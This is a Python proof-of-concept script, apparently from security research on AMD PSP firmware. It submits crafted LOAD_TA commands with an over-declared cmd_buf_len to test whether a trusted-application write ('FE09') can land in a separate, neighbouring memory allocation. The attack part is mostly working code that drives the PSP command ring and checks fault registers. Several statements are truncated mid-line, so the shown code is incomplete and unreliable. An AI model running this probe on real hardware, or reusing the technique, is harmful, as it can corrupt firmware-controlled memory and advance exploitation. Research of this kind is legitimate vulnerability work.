#!/usr/bin/env python3 """Is GCP FE09's write contained by the DECLARED length, or only by the page mapping? `fw/FINDING-GCP-FE09-CONFIGINIT-HOST-OFFSET-WRITE.md` shows the write lands anywhere inside the declared window and aborts outside it, in both directions. That was always measured with `cmd_buf_len` <= the allocation, so it cannot tell these apart: (a) the PSP checks the write against the declared length -> a real bound (b) the PSP maps `cmd_buf_len` bytes and the MMU stops the rest -> no bound, just a mapping They differ in consequence. Under (b) the host chooses the window size, so it can declare a large window over memory holding *other* objects and aim the write at them -- a cross-object write rather than a write confined to the request. The loader accepts any `cmd_buf_len >= 0x1000` (`hw/ras_cmdbuflen_thresh.py`), so nothing stops a large declaration. Two tests: TEST 1 one 0x8000 allocation, declare the whole 0x8000, write at offset 0x7000. Under (a) this is still "inside the declared window" and should land -- which only confirms the window scales with the declaration. TEST 2 the discriminator. Allocate A and B as two separate 0x1000 allocations, declare A with cmd_buf_len = 0x8000 so the declared window covers memory A does not own, and aim the write at B's offset. If B's pattern changes, the TA wrote into a different object, and containment is the mapping rather than any bound. usage: AM_RESET=1 PYTHONPATH=/root/psp/tinygrad gcp_fe09_overdeclared_window.py --apply """ import argparse import os import struct import subprocess PAT = 0xA5A5A5A5 PATB = 0x5B5B5B5B SEL = 0x820 LIMITS = [0x414, 0x818] def main(): ap = argparse.ArgumentParser() ap.add_argument('--apply', action='store_true') ap.add_argument('--gcp', default='/root/psp/contall/ta_22-0-0-77_7c426e7f.bin') ap.add_argument('--ta-bin', default='/lib/firmware/amdgpu/psp_13_0_0_ta.bin') args = ap.parse_args() if not args.apply: print('dry run') return 0 from tinygrad import Device import tinygrad.runtime.autogen.am.am as am adev = Device["AMD"].iface.dev_impl psp = adev.psp FAULT = [getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n) for n in range(82, 89)] def faults(): try: return tuple(r.read() for r in FAULT) except Exception: return None def alloc(n): pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False) return pa, adev.paddr2mc(pa) app_pa, app_mc = alloc(0x80000) blob = open(args.gcp, 'rb').read() def load(shm_mc, declen): n = (len(blob) + 3) & ~3 adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob)) adev.gmc.flush_hdp() c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA) t = c.cmd.cmd_load_ta t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32 t.app_len = len(blob) t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = shm_mc & 0xFFFFFFFF, shm_mc >> 32 t.cmd_buf_len = declen try: r = psp._ring_submit(c) return r.resp.status & 0xFFFFFFFF, r.resp.session_id except Exception as e: try: return int(str(e).strip().split()[-1]) & 0xFFFFFFFF, None except Exception: return -1, None def unload(sid): c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA) c.cmd.cmd_unload_ta.session_id = sid try: return psp._ring_submit(c).resp.status & 0xFFFFFFFF except Exception: return -1 def fe09(sid, shm_pa, span, disp): buf = bytearray(struct.pack(' target 0x7000: status=%#x wrote_there=%s fault=%s' % (st2, hit, 'pc=%s' % hex(f[2]) if f != f0 else 'none'), flush=True) if st2 == -1: print(' ring dead; cannot run TEST 2 in this boot', flush=True) return 0 unload(sid) print('\nTEST 2: separate allocations, A declared 0x8000 so the window covers B') b_pa, b_mc = alloc(0x1000) c_pa, c_mc = alloc(0x1000) adev.vram.view(c_pa, 0x1000)[:] = bytes(struct.pack(' over-declaration ALONE writes outside the allocation; the FE09' ' displacement is not required', flush=True) # restore B, then aim the displacement at it adev.vram.view(c_pa, 0x1000)[:] = bytes(struct.pack('